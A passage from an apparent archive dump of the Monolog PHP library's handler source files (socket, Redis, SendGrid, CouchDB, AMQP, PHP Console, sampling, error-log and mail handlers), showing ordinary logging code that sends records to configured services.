LogEntriesHandler. * * @author Robert Kaufmann III * @author Gabriel Machado */ class InsightOpsHandler extends SocketHandler { /** * @var string */ protected $logToken; /** * @param string $token Log token supplied by InsightOps * @param string $region Region where InsightOps account is hosted. Could be 'us' or 'eu'. * @param bool $useSSL Whether or not SSL encryption should be used * @param string|int $level The minimum logging level to trigger this handler * @param bool $bubble Whether or not messages that are handled should bubble up the stack. * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct(string $token, string $region = 'us', bool $useSSL = true, $level = Logger::DEBUG, bool $bubble = true) { if ($useSSL && !extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for InsightOpsHandler'); } $endpoint = $useSSL ? 'ssl://' . $region . '.data.logs.insight.rapid7.com:443' : $region . '.data.logs.insight.rapid7.com:80'; parent::__construct($endpoint, $level, $bubble); $this->logToken = $token; } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { return $this->logToken . ' ' . $record['formatted']; } } vendor/monolog/monolog/src/Monolog/Handler/GroupHandler.php000064400000006005147600277620020062 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\ResettableInterface; /** * Forwards records to multiple handlers * * @author Lenar Lõhmus */ class GroupHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface { use ProcessableHandlerTrait; /** @var HandlerInterface[] */ protected $handlers; protected $bubble; /** * @param HandlerInterface[] $handlers Array of Handlers. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(array $handlers, bool $bubble = true) { foreach ($handlers as $handler) { if (!$handler instanceof HandlerInterface) { throw new \InvalidArgumentException('The first argument of the GroupHandler must be an array of HandlerInterface instances.'); } } $this->handlers = $handlers; $this->bubble = $bubble; } /** * {@inheritdoc} */ public function isHandling(array $record): bool { foreach ($this->handlers as $handler) { if ($handler->isHandling($record)) { return true; } } return false; } /** * {@inheritdoc} */ public function handle(array $record): bool { if ($this->processors) { $record = $this->processRecord($record); } foreach ($this->handlers as $handler) { $handler->handle($record); } return false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { if ($this->processors) { $processed = []; foreach ($records as $record) { $processed[] = $this->processRecord($record); } $records = $processed; } foreach ($this->handlers as $handler) { $handler->handleBatch($records); } } public function reset() { $this->resetProcessors(); foreach ($this->handlers as $handler) { if ($handler instanceof ResettableInterface) { $handler->reset(); } } } public function close(): void { parent::close(); foreach ($this->handlers as $handler) { $handler->close(); } } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { foreach ($this->handlers as $handler) { if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); } } return $this; } } vendor/monolog/monolog/src/Monolog/Handler/SendGridHandler.php000064400000005524147600277620020472 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * SendGridrHandler uses the SendGrid API v2 function to send Log emails, more information in https://sendgrid.com/docs/API_Reference/Web_API/mail.html * * @author Ricardo Fontanelli */ class SendGridHandler extends MailHandler { /** * The SendGrid API User * @var string */ protected $apiUser; /** * The SendGrid API Key * @var string */ protected $apiKey; /** * The email addresses to which the message will be sent * @var string */ protected $from; /** * The email addresses to which the message will be sent * @var array */ protected $to; /** * The subject of the email * @var string */ protected $subject; /** * @param string $apiUser The SendGrid API User * @param string $apiKey The SendGrid API Key * @param string $from The sender of the email * @param string|array $to The recipients of the email * @param string $subject The subject of the mail * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(string $apiUser, string $apiKey, string $from, $to, string $subject, $level = Logger::ERROR, bool $bubble = true) { parent::__construct($level, $bubble); $this->apiUser = $apiUser; $this->apiKey = $apiKey; $this->from = $from; $this->to = (array) $to; $this->subject = $subject; } /** * {@inheritdoc} */ protected function send(string $content, array $records): void { $message = []; $message['api_user'] = $this->apiUser; $message['api_key'] = $this->apiKey; $message['from'] = $this->from; foreach ($this->to as $recipient) { $message['to[]'] = $recipient; } $message['subject'] = $this->subject; $message['date'] = date('r'); if ($this->isHtmlBody($content)) { $message['html'] = $content; } else { $message['text'] = $content; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://api.sendgrid.com/api/mail.send.json'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($message)); Curl\Util::execute($ch, 2); } } vendor/monolog/monolog/src/Monolog/Handler/RedisHandler.php000064400000005675147600277620020050 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; /** * Logs to a Redis key using rpush * * usage example: * * $log = new Logger('application'); * $redis = new RedisHandler(new Predis\Client("tcp://localhost:6379"), "logs", "prod"); * $log->pushHandler($redis); * * @author Thomas Tourlourat */ class RedisHandler extends AbstractProcessingHandler { private $redisClient; private $redisKey; protected $capSize; /** * @param \Predis\Client|\Redis $redis The redis instance * @param string $key The key name to push records to * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int $capSize Number of entries to limit list size to, 0 = unlimited */ public function __construct($redis, string $key, $level = Logger::DEBUG, bool $bubble = true, int $capSize = 0) { if (!(($redis instanceof \Predis\Client) || ($redis instanceof \Redis))) { throw new \InvalidArgumentException('Predis\Client or Redis instance required'); } $this->redisClient = $redis; $this->redisKey = $key; $this->capSize = $capSize; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { if ($this->capSize) { $this->writeCapped($record); } else { $this->redisClient->rpush($this->redisKey, $record["formatted"]); } } /** * Write and cap the collection * Writes the record to the redis list and caps its */ protected function writeCapped(array $record): void { if ($this->redisClient instanceof \Redis) { $mode = defined('\Redis::MULTI') ? \Redis::MULTI : 1; $this->redisClient->multi($mode) ->rpush($this->redisKey, $record["formatted"]) ->ltrim($this->redisKey, -$this->capSize, -1) ->exec(); } else { $redisKey = $this->redisKey; $capSize = $this->capSize; $this->redisClient->transaction(function ($tx) use ($record, $redisKey, $capSize) { $tx->rpush($redisKey, $record["formatted"]); $tx->ltrim($redisKey, -$capSize, -1); }); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(); } } vendor/monolog/monolog/src/Monolog/Handler/SocketHandler.php000064400000023326147600277620020223 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Stores to any socket - uses fsockopen() or pfsockopen(). * * @author Pablo de Leon Belloc * @see http://php.net/manual/en/function.fsockopen.php */ class SocketHandler extends AbstractProcessingHandler { private $connectionString; private $connectionTimeout; /** @var resource|null */ private $resource; /** @var float */ private $timeout = 0.0; /** @var float */ private $writingTimeout = 10.0; private $lastSentBytes = null; /** @var int */ private $chunkSize = null; private $persistent = false; private $errno; private $errstr; /** @var ?float */ private $lastWritingAt; /** * @param string $connectionString Socket connection string * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(string $connectionString, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->connectionString = $connectionString; $this->connectionTimeout = (float) ini_get('default_socket_timeout'); } /** * Connect (if necessary) and write to the socket * * @param array $record * * @throws \UnexpectedValueException * @throws \RuntimeException */ protected function write(array $record): void { $this->connectIfNotConnected(); $data = $this->generateDataStream($record); $this->writeToSocket($data); } /** * We will not close a PersistentSocket instance so it can be reused in other requests. */ public function close(): void { if (!$this->isPersistent()) { $this->closeSocket(); } } /** * Close socket, if open */ public function closeSocket(): void { if (is_resource($this->resource)) { fclose($this->resource); $this->resource = null; } } /** * Set socket connection to be persistent. It only has effect before the connection is initiated. */ public function setPersistent(bool $persistent): self { $this->persistent = $persistent; return $this; } /** * Set connection timeout. Only has effect before we connect. * * @see http://php.net/manual/en/function.fsockopen.php */ public function setConnectionTimeout(float $seconds): self { $this->validateTimeout($seconds); $this->connectionTimeout = $seconds; return $this; } /** * Set write timeout. Only has effect before we connect. * * @see http://php.net/manual/en/function.stream-set-timeout.php */ public function setTimeout(float $seconds): self { $this->validateTimeout($seconds); $this->timeout = $seconds; return $this; } /** * Set writing timeout. Only has effect during connection in the writing cycle. * * @param float $seconds 0 for no timeout */ public function setWritingTimeout(float $seconds): self { $this->validateTimeout($seconds); $this->writingTimeout = $seconds; return $this; } /** * Set chunk size. Only has effect during connection in the writing cycle. */ public function setChunkSize(int $bytes): self { $this->chunkSize = $bytes; return $this; } /** * Get current connection string */ public function getConnectionString(): string { return $this->connectionString; } /** * Get persistent setting */ public function isPersistent(): bool { return $this->persistent; } /** * Get current connection timeout setting */ public function getConnectionTimeout(): float { return $this->connectionTimeout; } /** * Get current in-transfer timeout */ public function getTimeout(): float { return $this->timeout; } /** * Get current local writing timeout * * @return float */ public function getWritingTimeout(): float { return $this->writingTimeout; } /** * Get current chunk size */ public function getChunkSize(): int { return $this->chunkSize; } /** * Check to see if the socket is currently available. * * UDP might appear to be connected but might fail when writing. See http://php.net/fsockopen for details. */ public function isConnected(): bool { return is_resource($this->resource) && !feof($this->resource); // on TCP - other party can close connection. } /** * Wrapper to allow mocking */ protected function pfsockopen() { return @pfsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); } /** * Wrapper to allow mocking */ protected function fsockopen() { return @fsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); } /** * Wrapper to allow mocking * * @see http://php.net/manual/en/function.stream-set-timeout.php */ protected function streamSetTimeout() { $seconds = floor($this->timeout); $microseconds = round(($this->timeout - $seconds) * 1e6); return stream_set_timeout($this->resource, (int) $seconds, (int) $microseconds); } /** * Wrapper to allow mocking * * @see http://php.net/manual/en/function.stream-set-chunk-size.php */ protected function streamSetChunkSize() { return stream_set_chunk_size($this->resource, $this->chunkSize); } /** * Wrapper to allow mocking */ protected function fwrite($data) { return @fwrite($this->resource, $data); } /** * Wrapper to allow mocking */ protected function streamGetMetadata() { return stream_get_meta_data($this->resource); } private function validateTimeout($value) { $ok = filter_var($value, FILTER_VALIDATE_FLOAT); if ($ok === false || $value < 0) { throw new \InvalidArgumentException("Timeout must be 0 or a positive float (got $value)"); } } private function connectIfNotConnected() { if ($this->isConnected()) { return; } $this->connect(); } protected function generateDataStream(array $record): string { return (string) $record['formatted']; } /** * @return resource|null */ protected function getResource() { return $this->resource; } private function connect(): void { $this->createSocketResource(); $this->setSocketTimeout(); $this->setStreamChunkSize(); } private function createSocketResource(): void { if ($this->isPersistent()) { $resource = $this->pfsockopen(); } else { $resource = $this->fsockopen(); } if (!$resource) { throw new \UnexpectedValueException("Failed connecting to $this->connectionString ($this->errno: $this->errstr)"); } $this->resource = $resource; } private function setSocketTimeout(): void { if (!$this->streamSetTimeout()) { throw new \UnexpectedValueException("Failed setting timeout with stream_set_timeout()"); } } private function setStreamChunkSize(): void { if ($this->chunkSize && !$this->streamSetChunkSize()) { throw new \UnexpectedValueException("Failed setting chunk size with stream_set_chunk_size()"); } } private function writeToSocket(string $data): void { $length = strlen($data); $sent = 0; $this->lastSentBytes = $sent; while ($this->isConnected() && $sent < $length) { if (0 == $sent) { $chunk = $this->fwrite($data); } else { $chunk = $this->fwrite(substr($data, $sent)); } if ($chunk === false) { throw new \RuntimeException("Could not write to socket"); } $sent += $chunk; $socketInfo = $this->streamGetMetadata(); if ($socketInfo['timed_out']) { throw new \RuntimeException("Write timed-out"); } if ($this->writingIsTimedOut($sent)) { throw new \RuntimeException("Write timed-out, no data sent for `{$this->writingTimeout}` seconds, probably we got disconnected (sent $sent of $length)"); } } if (!$this->isConnected() && $sent < $length) { throw new \RuntimeException("End-of-file reached, probably we got disconnected (sent $sent of $length)"); } } private function writingIsTimedOut(int $sent): bool { // convert to ms if (0.0 == $this->writingTimeout) { return false; } if ($sent !== $this->lastSentBytes) { $this->lastWritingAt = microtime(true); $this->lastSentBytes = $sent; return false; } else { usleep(100); } if ((microtime(true) - $this->lastWritingAt) >= $this->writingTimeout) { $this->closeSocket(); return true; } return false; } } vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php000064400000023742147600277620020747 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; use PhpConsole\Connector; use PhpConsole\Handler as VendorPhpConsoleHandler; use PhpConsole\Helper; /** * Monolog handler for Google Chrome extension "PHP Console" * * Display PHP error/debug log messages in Google Chrome console and notification popups, executes PHP code remotely * * Usage: * 1. Install Google Chrome extension https://chrome.google.com/webstore/detail/php-console/nfhmhhlpfleoednkpnnnkolmclajemef * 2. See overview https://github.com/barbushin/php-console#overview * 3. Install PHP Console library https://github.com/barbushin/php-console#installation * 4. Example (result will looks like http://i.hizliresim.com/vg3Pz4.png) * * $logger = new \Monolog\Logger('all', array(new \Monolog\Handler\PHPConsoleHandler())); * \Monolog\ErrorHandler::register($logger); * echo $undefinedVar; * $logger->debug('SELECT * FROM users', array('db', 'time' => 0.012)); * PC::debug($_SERVER); // PHP Console debugger for any type of vars * * @author Sergey Barbushin https://www.linkedin.com/in/barbushin */ class PHPConsoleHandler extends AbstractProcessingHandler { private $options = [ 'enabled' => true, // bool Is PHP Console server enabled 'classesPartialsTraceIgnore' => ['Monolog\\'], // array Hide calls of classes started with... 'debugTagsKeysInContext' => [0, 'tag'], // bool Is PHP Console server enabled 'useOwnErrorsHandler' => false, // bool Enable errors handling 'useOwnExceptionsHandler' => false, // bool Enable exceptions handling 'sourcesBasePath' => null, // string Base path of all project sources to strip in errors source paths 'registerHelper' => true, // bool Register PhpConsole\Helper that allows short debug calls like PC::debug($var, 'ta.g.s') 'serverEncoding' => null, // string|null Server internal encoding 'headersLimit' => null, // int|null Set headers size limit for your web-server 'password' => null, // string|null Protect PHP Console connection by password 'enableSslOnlyMode' => false, // bool Force connection by SSL for clients with PHP Console installed 'ipMasks' => [], // array Set IP masks of clients that will be allowed to connect to PHP Console: array('192.168.*.*', '127.0.0.1') 'enableEvalListener' => false, // bool Enable eval request to be handled by eval dispatcher(if enabled, 'password' option is also required) 'dumperDetectCallbacks' => false, // bool Convert callback items in dumper vars to (callback SomeClass::someMethod) strings 'dumperLevelLimit' => 5, // int Maximum dumped vars array or object nested dump level 'dumperItemsCountLimit' => 100, // int Maximum dumped var same level array items or object properties number 'dumperItemSizeLimit' => 5000, // int Maximum length of any string or dumped array item 'dumperDumpSizeLimit' => 500000, // int Maximum approximate size of dumped vars result formatted in JSON 'detectDumpTraceAndSource' => false, // bool Autodetect and append trace data to debug 'dataStorage' => null, // \PhpConsole\Storage|null Fixes problem with custom $_SESSION handler(see http://goo.gl/Ne8juJ) ]; /** @var Connector */ private $connector; /** * @param array $options See \Monolog\Handler\PHPConsoleHandler::$options for more details * @param Connector|null $connector Instance of \PhpConsole\Connector class (optional) * @param string|int $level The minimum logging level at which this handler will be triggered. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not. * @throws \RuntimeException */ public function __construct(array $options = [], ?Connector $connector = null, $level = Logger::DEBUG, bool $bubble = true) { if (!class_exists('PhpConsole\Connector')) { throw new \RuntimeException('PHP Console library not found. See https://github.com/barbushin/php-console#installation'); } parent::__construct($level, $bubble); $this->options = $this->initOptions($options); $this->connector = $this->initConnector($connector); } private function initOptions(array $options): array { $wrongOptions = array_diff(array_keys($options), array_keys($this->options)); if ($wrongOptions) { throw new \RuntimeException('Unknown options: ' . implode(', ', $wrongOptions)); } return array_replace($this->options, $options); } private function initConnector(?Connector $connector = null): Connector { if (!$connector) { if ($this->options['dataStorage']) { Connector::setPostponeStorage($this->options['dataStorage']); } $connector = Connector::getInstance(); } if ($this->options['registerHelper'] && !Helper::isRegistered()) { Helper::register(); } if ($this->options['enabled'] && $connector->isActiveClient()) { if ($this->options['useOwnErrorsHandler'] || $this->options['useOwnExceptionsHandler']) { $handler = VendorPhpConsoleHandler::getInstance(); $handler->setHandleErrors($this->options['useOwnErrorsHandler']); $handler->setHandleExceptions($this->options['useOwnExceptionsHandler']); $handler->start(); } if ($this->options['sourcesBasePath']) { $connector->setSourcesBasePath($this->options['sourcesBasePath']); } if ($this->options['serverEncoding']) { $connector->setServerEncoding($this->options['serverEncoding']); } if ($this->options['password']) { $connector->setPassword($this->options['password']); } if ($this->options['enableSslOnlyMode']) { $connector->enableSslOnlyMode(); } if ($this->options['ipMasks']) { $connector->setAllowedIpMasks($this->options['ipMasks']); } if ($this->options['headersLimit']) { $connector->setHeadersLimit($this->options['headersLimit']); } if ($this->options['detectDumpTraceAndSource']) { $connector->getDebugDispatcher()->detectTraceAndSource = true; } $dumper = $connector->getDumper(); $dumper->levelLimit = $this->options['dumperLevelLimit']; $dumper->itemsCountLimit = $this->options['dumperItemsCountLimit']; $dumper->itemSizeLimit = $this->options['dumperItemSizeLimit']; $dumper->dumpSizeLimit = $this->options['dumperDumpSizeLimit']; $dumper->detectCallbacks = $this->options['dumperDetectCallbacks']; if ($this->options['enableEvalListener']) { $connector->startEvalRequestsListener(); } } return $connector; } public function getConnector(): Connector { return $this->connector; } public function getOptions(): array { return $this->options; } public function handle(array $record): bool { if ($this->options['enabled'] && $this->connector->isActiveClient()) { return parent::handle($record); } return !$this->bubble; } /** * Writes the record down to the log of the implementing handler */ protected function write(array $record): void { if ($record['level'] < Logger::NOTICE) { $this->handleDebugRecord($record); } elseif (isset($record['context']['exception']) && $record['context']['exception'] instanceof \Throwable) { $this->handleExceptionRecord($record); } else { $this->handleErrorRecord($record); } } private function handleDebugRecord(array $record): void { $tags = $this->getRecordTags($record); $message = $record['message']; if ($record['context']) { $message .= ' ' . Utils::jsonEncode($this->connector->getDumper()->dump(array_filter($record['context'])), null, true); } $this->connector->getDebugDispatcher()->dispatchDebug($message, $tags, $this->options['classesPartialsTraceIgnore']); } private function handleExceptionRecord(array $record): void { $this->connector->getErrorsDispatcher()->dispatchException($record['context']['exception']); } private function handleErrorRecord(array $record): void { $context = $record['context']; $this->connector->getErrorsDispatcher()->dispatchError( $context['code'] ?? null, $context['message'] ?? $record['message'], $context['file'] ?? null, $context['line'] ?? null, $this->options['classesPartialsTraceIgnore'] ); } private function getRecordTags(array &$record) { $tags = null; if (!empty($record['context'])) { $context = & $record['context']; foreach ($this->options['debugTagsKeysInContext'] as $key) { if (!empty($context[$key])) { $tags = $context[$key]; if ($key === 0) { array_shift($context); } else { unset($context[$key]); } break; } } } return $tags ?: strtolower($record['level_name']); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('%message%'); } } vendor/monolog/monolog/src/Monolog/Handler/SamplingHandler.php000064400000007624147600277620020550 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; /** * Sampling handler * * A sampled event stream can be useful for logging high frequency events in * a production environment where you only need an idea of what is happening * and are not concerned with capturing every occurrence. Since the decision to * handle or not handle a particular event is determined randomly, the * resulting sampled log is not guaranteed to contain 1/N of the events that * occurred in the application, but based on the Law of large numbers, it will * tend to be close to this ratio with a large number of attempts. * * @author Bryan Davis * @author Kunal Mehta */ class SamplingHandler extends AbstractHandler implements ProcessableHandlerInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** * @var callable|HandlerInterface $handler */ protected $handler; /** * @var int $factor */ protected $factor; /** * @psalm-param HandlerInterface|callable(array, HandlerInterface): HandlerInterface $handler * * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $samplingHandler). * @param int $factor Sample factor (e.g. 10 means every ~10th record is sampled) */ public function __construct($handler, int $factor) { parent::__construct(); $this->handler = $handler; $this->factor = $factor; if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); } } public function isHandling(array $record): bool { return $this->getHandler($record)->isHandling($record); } public function handle(array $record): bool { if ($this->isHandling($record) && mt_rand(1, $this->factor) === 1) { if ($this->processors) { $record = $this->processRecord($record); } $this->getHandler($record)->handle($record); } return false === $this->bubble; } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = ($this->handler)($record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { return $handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } } vendor/monolog/monolog/src/Monolog/Handler/DoctrineCouchDBHandler.php000064400000002112147600277620021720 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\NormalizerFormatter; use Monolog\Formatter\FormatterInterface; use Doctrine\CouchDB\CouchDBClient; /** * CouchDB handler for Doctrine CouchDB ODM * * @author Markus Bachmann */ class DoctrineCouchDBHandler extends AbstractProcessingHandler { private $client; public function __construct(CouchDBClient $client, $level = Logger::DEBUG, bool $bubble = true) { $this->client = $client; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->client->postDocument($record['formatted']); } protected function getDefaultFormatter(): FormatterInterface { return new NormalizerFormatter; } } vendor/monolog/monolog/src/Monolog/Handler/FallbackGroupHandler.php000064400000002551147600277620021504 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Throwable; class FallbackGroupHandler extends GroupHandler { /** * {@inheritdoc} */ public function handle(array $record): bool { if ($this->processors) { $record = $this->processRecord($record); } foreach ($this->handlers as $handler) { try { $handler->handle($record); break; } catch (Throwable $e) { // What throwable? } } return false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records): void { if ($this->processors) { $processed = []; foreach ($records as $record) { $processed[] = $this->processRecord($record); } $records = $processed; } foreach ($this->handlers as $handler) { try { $handler->handleBatch($records); break; } catch (Throwable $e) { // What throwable? } } } } vendor/monolog/monolog/src/Monolog/Handler/CouchDBHandler.php000064400000003760147600277620020242 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\JsonFormatter; use Monolog\Logger; /** * CouchDB handler * * @author Markus Bachmann */ class CouchDBHandler extends AbstractProcessingHandler { private $options; public function __construct(array $options = [], $level = Logger::DEBUG, bool $bubble = true) { $this->options = array_merge([ 'host' => 'localhost', 'port' => 5984, 'dbname' => 'logger', 'username' => null, 'password' => null, ], $options); parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $basicAuth = null; if ($this->options['username']) { $basicAuth = sprintf('%s:%s@', $this->options['username'], $this->options['password']); } $url = 'http://'.$basicAuth.$this->options['host'].':'.$this->options['port'].'/'.$this->options['dbname']; $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'content' => $record['formatted'], 'ignore_errors' => true, 'max_redirects' => 0, 'header' => 'Content-type: application/json', ], ]); if (false === @file_get_contents($url, false, $context)) { throw new \RuntimeException(sprintf('Could not connect to %s', $url)); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); } } vendor/monolog/monolog/src/Monolog/Handler/ErrorLogHandler.php000064400000004720147600277620020523 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; /** * Stores to PHP error_log() handler. * * @author Elan Ruusamäe */ class ErrorLogHandler extends AbstractProcessingHandler { public const OPERATING_SYSTEM = 0; public const SAPI = 4; protected $messageType; protected $expandNewlines; /** * @param int $messageType Says where the error should go. * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $expandNewlines If set to true, newlines in the message will be expanded to be take multiple log entries */ public function __construct(int $messageType = self::OPERATING_SYSTEM, $level = Logger::DEBUG, bool $bubble = true, bool $expandNewlines = false) { parent::__construct($level, $bubble); if (false === in_array($messageType, self::getAvailableTypes(), true)) { $message = sprintf('The given message type "%s" is not supported', print_r($messageType, true)); throw new \InvalidArgumentException($message); } $this->messageType = $messageType; $this->expandNewlines = $expandNewlines; } /** * @return array With all available types */ public static function getAvailableTypes(): array { return [ self::OPERATING_SYSTEM, self::SAPI, ]; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('[%datetime%] %channel%.%level_name%: %message% %context% %extra%'); } /** * {@inheritdoc} */ protected function write(array $record): void { if (!$this->expandNewlines) { error_log((string) $record['formatted'], $this->messageType); return; } $lines = preg_split('{[\r\n]+}', (string) $record['formatted']); foreach ($lines as $line) { error_log($line, $this->messageType); } } } vendor/monolog/monolog/src/Monolog/Handler/AmqpHandler.php000064400000007706147600277620017675 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\JsonFormatter; use PhpAmqpLib\Message\AMQPMessage; use PhpAmqpLib\Channel\AMQPChannel; use AMQPExchange; class AmqpHandler extends AbstractProcessingHandler { /** * @var AMQPExchange|AMQPChannel $exchange */ protected $exchange; /** * @var string */ protected $exchangeName; /** * @param AMQPExchange|AMQPChannel $exchange AMQPExchange (php AMQP ext) or PHP AMQP lib channel, ready for use * @param string|null $exchangeName Optional exchange name, for AMQPChannel (PhpAmqpLib) only * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($exchange, ?string $exchangeName = null, $level = Logger::DEBUG, bool $bubble = true) { if ($exchange instanceof AMQPChannel) { $this->exchangeName = (string) $exchangeName; } elseif (!$exchange instanceof AMQPExchange) { throw new \InvalidArgumentException('PhpAmqpLib\Channel\AMQPChannel or AMQPExchange instance required'); } elseif ($exchangeName) { @trigger_error('The $exchangeName parameter can only be passed when using PhpAmqpLib, if using an AMQPExchange instance configure it beforehand', E_USER_DEPRECATED); } $this->exchange = $exchange; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $data = $record["formatted"]; $routingKey = $this->getRoutingKey($record); if ($this->exchange instanceof AMQPExchange) { $this->exchange->publish( $data, $routingKey, 0, [ 'delivery_mode' => 2, 'content_type' => 'application/json', ] ); } else { $this->exchange->basic_publish( $this->createAmqpMessage($data), $this->exchangeName, $routingKey ); } } /** * {@inheritDoc} */ public function handleBatch(array $records): void { if ($this->exchange instanceof AMQPExchange) { parent::handleBatch($records); return; } foreach ($records as $record) { if (!$this->isHandling($record)) { continue; } $record = $this->processRecord($record); $data = $this->getFormatter()->format($record); $this->exchange->batch_basic_publish( $this->createAmqpMessage($data), $this->exchangeName, $this->getRoutingKey($record) ); } $this->exchange->publish_batch(); } /** * Gets the routing key for the AMQP exchange */ protected function getRoutingKey(array $record): string { $routingKey = sprintf('%s.%s', $record['level_name'], $record['channel']); return strtolower($routingKey); } private function createAmqpMessage(string $data): AMQPMessage { return new AMQPMessage( $data, [ 'delivery_mode' => 2, 'content_type' => 'application/json', ] ); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); } } vendor/monolog/monolog/src/Monolog/Handler/NativeMailerHandler.php000064400000012055147600277620021350 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\LineFormatter; /** * NativeMailerHandler uses the mail() function to send the emails * * @author Christophe Coevoet * @author Mark Garrett */ class NativeMailerHandler extends MailHandler { /** * The email addresses to which the message will be sent * @var array */ protected $to; /** * The subject of the email * @var string */ protected $subject; /** * Optional headers for the message * @var array */ protected $headers = []; /** * Optional parameters for the message * @var array */ protected $parameters = []; /** * The wordwrap length for the message * @var int */ protected $maxColumnWidth; /** * The Content-type for the message * @var string|null */ protected $contentType; /** * The encoding for the message * @var string */ protected $encoding = 'utf-8'; /** * @param string|array $to The receiver of the mail * @param string $subject The subject of the mail * @param string $from The sender of the mail * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int $maxColumnWidth The maximum column width that the message lines will have */ public function __construct($to, string $subject, string $from, $level = Logger::ERROR, bool $bubble = true, int $maxColumnWidth = 70) { parent::__construct($level, $bubble); $this->to = (array) $to; $this->subject = $subject; $this->addHeader(sprintf('From: %s', $from)); $this->maxColumnWidth = $maxColumnWidth; } /** * Add headers to the message * * @param string|array $headers Custom added headers */ public function addHeader($headers): self { foreach ((array) $headers as $header) { if (strpos($header, "\n") !== false || strpos($header, "\r") !== false) { throw new \InvalidArgumentException('Headers can not contain newline characters for security reasons'); } 